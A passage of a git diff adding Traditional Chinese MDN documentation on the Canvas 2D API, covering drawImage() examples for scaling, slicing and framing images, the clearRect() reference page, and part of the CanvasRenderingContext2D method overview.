+<p>這個範例會使用外部影像作為一個小型線圖的背景。利用預先劃好的圖作為背景的話就不用再靠程式來產生背景，如此一來可以顯著地減少程式碼。下面藉由影像物件的load事件處理器來處理繪圖作業，其中drawImage()方法把背景圖片放置在畫布左上角，座標點(0, 0)位置.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="180" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var img = new Image();
+  img.onload = function(){
+    ctx.drawImage(img,0,0);
+    ctx.beginPath();
+    ctx.moveTo(30,96);
+    ctx.lineTo(70,66);
+    ctx.lineTo(103,76);
+    ctx.lineTo(170,15);
+    ctx.stroke();
+  };
+  img.src = 'https://mdn.mozillademos.org/files/5395/backdrop.png';
+}</pre>
+
+<p>結果如下:</p>
+
+<p>{{EmbedLiveSample("Example.3A_A_simple_line_graph", 220, 160, "https://mdn.mozillademos.org/files/206/Canvas_backdrop.png")}}</p>
+
+<h2 id="縮放">縮放</h2>
+
+<p>drawImage()的第二個型態增加了兩個新參數，讓我們在畫布上放置影像的同時並縮放影像.</p>
+
+<dl>
+ <dt><code>drawImage(<em>image</em>, <em>x</em>, <em>y</em>, <em>width</em>, <em>height</em>)</code></dt>
+ <dd>當放置影像於畫布上時，會按照參數width(寬)、height(高)來縮放影像.</dd>
+</dl>
+
+<h3 id="範例_排列影像">範例: 排列影像</h3>
+
+<p>本例我們會取一張影像作為桌布，然後透過簡單的迴圈來重複縮放、貼上影像於畫布上。在程式碼中，第一個迴圈走一遍每一列，第二個迴圈走一遍每一行，影像則縮小成原始影像的三分之一，50 x 38像素.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 過度縮放影像可能會造成影像模糊或產生顆粒感，所以如果影像中有文字需要閱讀，最好不要縮放影像.</p>
+</div>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var img = new Image();
+  img.onload = function(){
+    for (var i=0;i&lt;4;i++){
+      for (var j=0;j&lt;3;j++){
+        ctx.drawImage(img,j*50,i*38,50,38);
+      }
+    }
+  };
+  img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+}</pre>
+
+<p>結果如下:</p>
+
+<p>{{EmbedLiveSample("Example.3A_Tiling_an_image", 160, 160, "https://mdn.mozillademos.org/files/251/Canvas_scale_image.png")}}</p>
+
+<h2 id="切割影像">切割影像</h2>
+
+<p>drawImage()第三個型態接受9個參數，其中8個讓我們從原始影像中切出一部分影像、縮放並畫到畫布上.</p>
+
+<dl>
+ <dt><code>drawImage(<em>image</em>, <em>sx</em>, <em>sy</em>, <em>sWidth</em>, <em>sHeight</em>, <em>dx</em>, <em>dy</em>, <em>dWidth</em>, <em>dHeight</em>)</code></dt>
+ <dd>image參數是來源影像物件，(sx, sy)代表在來源影像中以(sx, sy)座標點作為切割的起始點，sWidth和sHeight代表切割寬和高，(dx, dy)代表放到畫布上的座標點，dWidth和dHeight代表縮放影像至指定的寬和高.</dd>
+</dl>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/225/Canvas_drawimage.jpg" style="float: right; height: 290px; width: 300px;">請參照右圖，前四個參數定義了在來源影像上切割的起始點和切割大小，後四個參數定義了畫到畫布上的位置和影像大小.</p>
+
+<p>切割是一個很有用的工具，我們可以把所有影像放到一張影像上，然後利用切割來組成最終完整的影像，比如說，我們可以把所有需要用來組成一張圖表的文字放到一張PNG圖檔內，之後只需要單純地再依據資料來縮放圖表，另外，我們也不用多次載入多張影像，這樣對提升載入影像效能頗有幫助.</p>
+
+<p> </p>
+
+<p> </p>
+
+<h3 id="範例_畫一個有畫框的影像">範例: 畫一個有畫框的影像</h3>
+
+<p>本例用和前一個範例一樣的犀牛圖，然後切出犀牛頭部影像部分再放入一個影像畫框，這個影像畫框是一個有陰影的24位元PNG圖檔，因為24位元PNG影像具備完整的8位元不透明色版(alpha channel)，所以不像GIF影像和8位元PNG影像，它能夠放任何背景之上而無須擔心產生消光色(matte color).</p>
+
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+   &lt;div style="display:none;"&gt;
+     &lt;img id="source" src="https://mdn.mozillademos.org/files/5397/rhino.jpg" width="300" height="227"&gt;
+     &lt;img id="frame" src="https://mdn.mozillademos.org/files/242/Canvas_picture_frame.png" width="132" height="150"&gt;
+   &lt;/div&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<pre class="brush: js">function draw() {
+  var canvas = document.getElementById('canvas');
+  var ctx = canvas.getContext('2d');
+
+  // Draw slice
+  ctx.drawImage(document.getElementById('source'),
+                33, 71, 104, 124, 21, 20, 87, 104);
+
+  // Draw frame
+  ctx.drawImage(document.getElementById('frame'),0,0);
+}</pre>
+
+<p>這次我們不產生新的{{domxref("HTMLImageElement")}}物件，改採用直接把影像包入HTML的{{HTMLElement("img")}}標籤，然後再取得影像元素，其中HTML上的影像已經透過設定CSS屬性{{cssxref("display")}}為none來隱藏起來了.</p>
+
+<p>{{EmbedLiveSample("Example.3A_Framing_an_image", 160, 160, "https://mdn.mozillademos.org/files/226/Canvas_drawimage2.jpg")}}</p>
+
+<p>程式碼相當簡單，每個{{HTMLElement("img")}}有自己的ID屬性，這樣便可以利用{{domxref("document.getElementById()")}}輕易取得，之後再簡單地用drawImage()方法切割犀牛影像然後縮放並放到畫布上，最後第二個drawImage()再把畫框放到上面.</p>
+
+<h2 id="畫廊範例">畫廊範例</h2>
+
+<p>在本章的最後一個範例，我們將建造一個小畫廊。當網頁載入完成時，我們會為每一張影像產生一個{{HTMLElement("canvas")}}元素，並且加上畫框.</p>
+
+<p>本範例中，每一張影像的寬高是固定的，畫框也是一樣，你可以嘗試看看改進程式碼，依據影像的寬高來設定畫框，使畫框能剛剛好框住影像.</p>
+
+<p>從下方的程式碼範例可以很清楚看到，我們為{{domxref("document.images")}}容器內的影像，一張一張地新建畫布，其中，對於不熟悉文件物件模型 (DOM)的人來說，大慨比較值得注意之處在於使用到{{domxref("Node.insertBefore")}} 方法；insertBefore()是影像元素的父節點(亦即&lt;td&gt;元素)的一個方法，這個方法會把新畫布元素插入於影像元素之前.</p>
+
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+     &lt;table&gt;
+      &lt;tr&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5399/gallery_1.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5401/gallery_2.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5403/gallery_3.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5405/gallery_4.jpg"&gt;&lt;/td&gt;
+      &lt;/tr&gt;
+      &lt;tr&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5407/gallery_5.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5409/gallery_6.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5411/gallery_7.jpg"&gt;&lt;/td&gt;
+        &lt;td&gt;&lt;img src="https://mdn.mozillademos.org/files/5413/gallery_8.jpg"&gt;&lt;/td&gt;
+      &lt;/tr&gt;
+     &lt;/table&gt;
+     &lt;img id="frame" src="https://mdn.mozillademos.org/files/242/Canvas_picture_frame.png" width="132" height="150"&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>這些是一些設定樣式的CSS:</p>
+
+<pre class="brush: css">body {
+  background: 0 -100px repeat-x url(https://mdn.mozillademos.org/files/5415/bg_gallery.png) #4F191A;
+  margin: 10px;
+}
+
+img {
+  display: none;
+}
+
+table {
+  margin: 0 auto;
+}
+
+td {
+  padding: 15px;
+}
+</pre>
+
+<p>綜合起來這就是建造出我們小畫廊的程式碼:</p>
+
+<pre class="brush: js">function draw() {
+
+  // Loop through all images
+  for (var i=0;i&lt;document.images.length;i++){
+
+    // Don't add a canvas for the frame image
+    if (document.images[i].getAttribute('id')!='frame'){
+
+      // Create canvas element
+      canvas = document.createElement('canvas');
+      canvas.setAttribute('width',132);
+      canvas.setAttribute('height',150);
+
+      // Insert before the image
+      document.images[i].parentNode.insertBefore(canvas,document.images[i]);
+
+      ctx = canvas.getContext('2d');
+
+      // Draw image to canvas
+      ctx.drawImage(document.images[i],15,20);
+
+      // Add frame
+      ctx.drawImage(document.getElementById('frame'),0,0);
+    }
+  }
+}</pre>
+
+<p>{{EmbedLiveSample("Art_gallery_example", 725, 400, "https://mdn.mozillademos.org/files/205/Canvas_art_gallery.jpg")}}</p>
+
+<h2 id="控制影像縮放行為">控制影像縮放行為</h2>
+
+<p>如前所述，縮放影像會導致影像模糊化或是顆粒化，你可以嘗試透過繪圖環境的imageSmoothingEnabled屬性來控制影像平滑演算法的使用，預設上這個屬性的值為true，也就是說當縮放時，影像會經過平滑處理。如果要關掉這個功能，你可以這麼做:</p>
+
+<pre class="js">ctx.mozImageSmoothingEnabled = false;
+</pre>
+
+<p>{{PreviousNext("Web/Guide/HTML/Canvas_tutorial/Drawing_shapes", "Web/Guide/HTML/Canvas_tutorial/Applying_styles_and_colors")}}</p>
diff --git a/files/zh-tw/web/api/canvasrenderingcontext2d/clearrect/index.html b/files/zh-tw/web/api/canvasrenderingcontext2d/clearrect/index.html
new file mode 100644
index 0000000000..e5792ffade
--- /dev/null
+++ b/files/zh-tw/web/api/canvasrenderingcontext2d/clearrect/index.html
@@ -0,0 +1,189 @@
+---
+title: CanvasRenderingContext2D.clearRect()
+slug: Web/API/CanvasRenderingContext2D/clearRect
+translation_of: Web/API/CanvasRenderingContext2D/clearRect
+---
+<div>{{APIRef}}</div>
+
+<p>Canvas 2D API 的 <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.clearRect()</code></strong> 方法可以設定指定矩形（經由坐標 <em>(x, y)</em> 及大小 <em>(width, height)</em>）範圍內的所有像素為透明，清除所有先前繪製的內容。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.clearRect(x, y, width, height);</var>
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>The x axis of the coordinate for the rectangle starting point.</dd>
+ <dt><code>y</code></dt>
+ <dd>The y axis of the coordinate for the rectangle starting point.</dd>
+ <dt><code>width</code></dt>
+ <dd>The rectangle's width.</dd>
+ <dt><code>height</code></dt>
+ <dd>The rectangle's height.</dd>
+</dl>
+
+<h2 id="Usage_notes">Usage notes</h2>
+
+<p>A common problem with <code>clearRect</code> is that it may appear it does not work when not <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes#Drawing_paths">using paths properly</a>. Don't forget to call {{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}} before starting to draw the new frame after calling <code>clearRect</code>.</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Using_the_clearRect_method">Using the <code>clearRect</code> method</h3>
+
+<p>This is just a simple code snippet which uses the <code>clearRect</code> method.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[11]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.beginPath();
+ctx.moveTo(20, 20);
+ctx.lineTo(200, 20);
+ctx.lineTo(120, 120);
+ctx.closePath(); // draws last line of the triangle
+ctx.stroke();
+
+ctx.clearRect(10, 10, 100, 100);
+
+// clear the whole canvas
+// ctx.clearRect(0, 0, canvas.width, canvas.height);
+</pre>
+
+<p>Edit the code below and see your changes update live in the canvas:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code" style="height:140px;"&gt;
+ctx.beginPath();
+ctx.moveTo(20,20);
+ctx.lineTo(200,20);
+ctx.lineTo(120,120);
+ctx.closePath(); // draws last line of the triangle
+ctx.stroke();
+
+ctx.clearRect(10, 10, 100, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 400) }}</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-clearrect", "CanvasRenderingContext2D.clearRect")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>The interface defining it, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.fillRect()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.strokeRect()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/canvasrenderingcontext2d/index.html b/files/zh-tw/web/api/canvasrenderingcontext2d/index.html
new file mode 100644
index 0000000000..31aa34ecdf
--- /dev/null
+++ b/files/zh-tw/web/api/canvasrenderingcontext2d/index.html
@@ -0,0 +1,459 @@
+---
+title: CanvasRenderingContext2D
+slug: Web/API/CanvasRenderingContext2D
+translation_of: Web/API/CanvasRenderingContext2D
+---
+<div>{{APIRef}}</div>
+
+<div><strong>CanvasRenderingContext2D</strong> 介面被使用於繪製矩形、文字、影像以及其它基於 canvas 元素的物件。此介面提供了繪製 {{ HTMLElement("canvas") }} 元素外觀的 2D 渲染環境。</div>
+
+<div> </div>
+
+<p>要取得此實作此介面的實體物件，可以於一個 <code>&lt;canvas&gt;</code> 元素上以 "2d" 為參數呼叫 {{domxref("HTMLCanvasElement.getContext()", "getContext()")}} 方法：</p>
+
+<pre class="brush: js">var canvas = document.getElementById('mycanvas'); // in your HTML this element appears as &lt;canvas id="mycanvas"&gt;&lt;/canvas&gt;
+var ctx = canvas.getContext('2d');
+</pre>
+
+<p>只要你有了 canvas 的 2D 繪製背景物件，你就可以在其中繪圖。 舉個例子：</p>
+
+<pre class="brush: js">ctx.fillStyle = "rgb(200,0,0)"; // sets the color to fill in the rectangle with
+ctx.fillRect(10, 10, 55, 50);   // draws the rectangle at position 10, 10 with a width of 55 and a height of 50
+</pre>
+
+<p><a href="/zh-TW/docs/Web/API/Canvas_API/Tutorial">canvas 教學</a>有更多資訊、範例，以及資源。</p>
+
+<h2 id="繪製矩形">繪製矩形</h2>
+
+<p>有三個函式可以馬上在點陣圖上畫出長方形。</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.clearRect()")}}</dt>
+ <dd>Sets all pixels in the rectangle defined by starting point <em>(x, y)</em> and size <em>(width, height)</em> to transparent black, erasing any previously drawn content.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.fillRect()")}}</dt>
+ <dd>Draws a filled rectangle at <em>(x, y) </em>position whose size is determined by <em>width</em> and <em>height</em>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeRect()")}}</dt>
+ <dd>Paints a rectangle which has a starting point at <em>(x, y)</em> and has a<em> w</em> width and an <em>h</em> height onto the canvas, using the current stroke style.</dd>
+</dl>
+
+<h2 id="繪製文字">繪製文字</h2>
+
+<p>The following methods are provided for drawing text. See also the {{domxref("TextMetrics")}} object for text properties.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillText()")}}</dt>
+ <dd>Draws (fills) a given text at the given (x,y) position.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeText()")}}</dt>
+ <dd>Draws (strokes) a given text at the given <em>(x, y) </em>position.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.measureText()")}}</dt>
+ <dd>Returns a {{domxref("TextMetrics")}} object.</dd>
+</dl>
+
+<h2 id="線條樣式">線條樣式</h2>
+
+<p>The following methods and properties control how lines are drawn.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.lineWidth")}}</dt>
+ <dd>Width of lines. Default <code>1.0</code></dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineCap")}}</dt>
+ <dd>Type of endings on the end of lines. Possible values: <code>butt</code> (default), <code>round</code>, <code>square</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineJoin")}}</dt>
+ <dd>Defines the type of corners where two lines meet. Possible values: <code>round</code>, <code>bevel</code>, <code>miter</code> (default).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.miterLimit")}}</dt>
+ <dd>Miter limit ratio. Default <code>10</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.getLineDash()")}}</dt>
+ <dd>Returns the current line dash pattern array containing an even number of non-negative numbers.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.setLineDash()")}}</dt>
+ <dd>Sets the current line dash pattern.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineDashOffset")}}</dt>
+ <dd>Specifies where to start a dash array on a line.</dd>
+</dl>
+
+<h2 id="文字樣式">文字樣式</h2>
+
+<p>The following properties control how text is laid out.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.font")}}</dt>
+ <dd>Font setting. Default value <code>10px sans-serif</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.textAlign")}}</dt>
+ <dd>Text alignment setting. Possible values: <code>start</code> (default), <code>end</code>, <code>left</code>, <code>right</code> or <code>center</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.textBaseline")}}</dt>
+ <dd>Baseline alignment setting. Possible values: <code>top</code>, <code>hanging</code>, <code>middle</code>, <code>alphabetic</code> (default), <code>ideographic</code>, <code>bottom</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.direction")}}</dt>
+ <dd>Directionality. Possible values: <code>ltr, rtl</code>, <code>inherit</code> (default).</dd>
+</dl>
+
+<h2 id="填充及邊線樣式">填充及邊線樣式</h2>
+
+<p>Fill styling is used for colors and styles inside shapes and stroke styling is used for the lines around shapes.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillStyle")}}</dt>
+ <dd>Color or style to use inside shapes. Default <code>#000</code> (black).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeStyle")}}</dt>
+ <dd>Color or style to use for the lines around shapes. Default <code>#000</code> (black).</dd>
+</dl>
+
+<h2 id="漸層填色及圖案填充">漸層填色及圖案填充</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.createLinearGradient()")}}</dt>
+ <dd>Creates a linear gradient along the line given by the coordinates represented by the parameters.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.createRadialGradient()")}}</dt>
+ <dd>Creates a radial gradient given by the coordinates of the two circles represented by the parameters.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.createPattern()")}}</dt>
+ <dd>Creates a pattern using the specified image (a {{domxref("CanvasImageSource")}}). It repeats the source in the directions specified by the repetition argument. This method returns a {{domxref("CanvasPattern")}}.</dd>
+</dl>
+
+<h2 id="陰影">陰影</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowBlur")}}</dt>
+ <dd>Specifies the blurring effect. Default <code>0</code></dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowColor")}}</dt>
+ <dd>Color of the shadow. Default fully-transparent black.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowOffsetX")}}</dt>
+ <dd>Horizontal distance the shadow will be offset. Default 0.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowOffsetY")}}</dt>
+ <dd>Vertical distance the shadow will be offset. Default 0.</dd>
+</dl>
+
+<h2 id="路徑">路徑</h2>
+
+<p>The following methods can be used to manipulate paths of objects.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.beginPath()")}}</dt>
+ <dd>Starts a new path by emptying the list of sub-paths. Call this method when you want to create a new path.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.closePath()")}}</dt>
+ <dd>Causes the point of the pen to move back to the start of the current sub-path. It tries to draw a straight line from the current point to the start. If the shape has already been closed or has only one point, this function does nothing.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.moveTo()")}}</dt>
+ <dd>Moves the starting point of a new sub-path to the <strong>(x, y)</strong> coordinates.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineTo()")}}</dt>
+ <dd>Connects the last point in the subpath to the <code>x, y</code> coordinates with a straight line.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.bezierCurveTo()")}}</dt>
+ <dd>Adds a cubic Bézier curve to the path. It requires three points. The first two points are control points and the third one is the end point. The starting point is the last point in the current path, which can be changed using <code>moveTo()</code> before creating the Bézier curve.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.quadraticCurveTo()")}}</dt>
+ <dd>Adds a quadratic Bézier curve to the current path.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.arc()")}}</dt>
+ <dd>Adds an arc to the path which is centered at <em>(x, y)</em> position with radius<em> r</em> starting at <em>startAngle</em> and ending at <em>endAngle</em> going in the given direction by <em>anticlockwise</em> (defaulting to clockwise).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.arcTo()")}}</dt>
+ <dd>Adds an arc to the path with the given control points and radius, connected to the previous point by a straight line.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.ellipse()")}} {{experimental_inline}}</dt>
+ <dd>Adds an ellipse to the path which is centered at <em>(x, y)</em> position with the radii <em>radiusX</em> and <em>radiusY</em> starting at <em>startAngle</em> and ending at <em>endAngle</em> going in the given direction by <em>anticlockwise</em> (defaulting to clockwise).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.rect()")}}</dt>
+ <dd>Creates a path for a rectangle at<em> </em>position <em>(x, y)</em> with a size that is determined by <em>width</em> and <em>height</em>.</dd>
+</dl>
+
+<h2 id="繪製路徑">繪製路徑</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fill()")}}</dt>
+ <dd>Fills the subpaths with the current fill style.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.stroke()")}}</dt>
+ <dd>Strokes the subpaths with the current stroke style.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.drawFocusIfNeeded()")}}</dt>
+ <dd>If a given element is focused, this method draws a focus ring around the current path.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.scrollPathIntoView()")}}</dt>
+ <dd>Scrolls the current path or a given path into the view.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.clip()")}}</dt>
+ <dd>Creates a clipping path from the current sub-paths. Everything drawn after <code>clip()</code> is called appears inside the clipping path only. For an example, see <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing" title="Clipping paths">Clipping paths</a> in the Canvas tutorial.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.isPointInPath()")}}</dt>
+ <dd>Reports whether or not the specified point is contained in the current path.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.isPointInStroke()")}}</dt>
+ <dd>Reports whether or not the specified point is inside the area contained by the stroking of a path.</dd>
+</dl>
+
+<h2 id="變形">變形</h2>
+
+<p>Objects in the <code>CanvasRenderingContext2D</code> rendering context have a current transformation matrix and methods to manipulate it. The transformation matrix is applied when creating the current default path, painting text, shapes and {{domxref("Path2D")}} objects. The methods listed below remain for historical and compatibility reasons as {{domxref("SVGMatrix")}} objects are used in most parts of the API nowadays and will be used in the future instead.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.currentTransform")}}</dt>
+ <dd>Current transformation matrix ({{domxref("SVGMatrix")}} object).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.rotate()")}}</dt>
+ <dd>Adds a rotation to the transformation matrix. The angle argument represents a clockwise rotation angle and is expressed in radians.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.scale()")}}</dt>
+ <dd>Adds a scaling transformation to the canvas units by x horizontally and by y vertically.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.translate()")}}</dt>
+ <dd>Adds a translation transformation by moving the canvas and its origin x horzontally and y vertically on the grid.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.transform()")}}</dt>
+ <dd>Multiplies the current transformation matrix with the matrix described by its arguments.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.setTransform()")}}</dt>
+ <dd>Resets the current transform to the identity matrix, and then invokes the <code>transform()</code> method with the same arguments.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.resetTransform()")}} {{experimental_inline}}</dt>
+ <dd>Resets the current transform by the identity matrix.</dd>
+</dl>
+
+<h2 id="合成">合成</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.globalAlpha")}}</dt>
+ <dd>Alpha value that is applied to shapes and images before they are composited onto the canvas. Default <code>1.0</code> (opaque).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.globalCompositeOperation")}}</dt>
+ <dd>With <code>globalAlpha</code> applied this sets how shapes and images are drawn onto the existing bitmap.</dd>
+</dl>
+
+<h2 id="繪製圖形">繪製圖形</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.drawImage()")}}</dt>
+ <dd>Draws the specified image. This method is available in multiple formats, providing a great deal of flexibility in its use.</dd>
+</dl>
+
+<h2 id="像素控制">像素控制</h2>
+
+<p>See also the {{domxref("ImageData")}} object.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.createImageData()")}}</dt>
+ <dd>Creates a new, blank {{domxref("ImageData")}} object with the specified dimensions. All of the pixels in the new object are transparent black.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.getImageData()")}}</dt>
+ <dd>Returns an {{domxref("ImageData")}} object representing the underlying pixel data for the area of the canvas denoted by the rectangle which starts at <em>(sx, sy)</em> and has an <em>sw</em> width and <em>sh</em> height.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.putImageData()")}}</dt>
+ <dd>Paints data from the given {{domxref("ImageData")}} object onto the bitmap. If a dirty rectangle is provided, only the pixels from that rectangle are painted.</dd>
+</dl>
+
+<h2 id="圖像平滑">圖像平滑</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}} {{experimental_inline}}</dt>
+ <dd>Image smoothing mode; if disabled, images will not be smoothed if scaled.</dd>
+</dl>
+
+<h2 id="canvas_狀態">canvas 狀態</h2>
+
+<p>The <code>CanvasRenderingContext2D</code> rendering context contains a variety of drawing style states (attributes for line styles, fill styles, shadow styles, text styles). The following methods help you to work with that state:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.save()")}}</dt>
+ <dd>Saves the current drawing style state using a stack so you can revert any change you make to it using <code>restore()</code>.</dd>
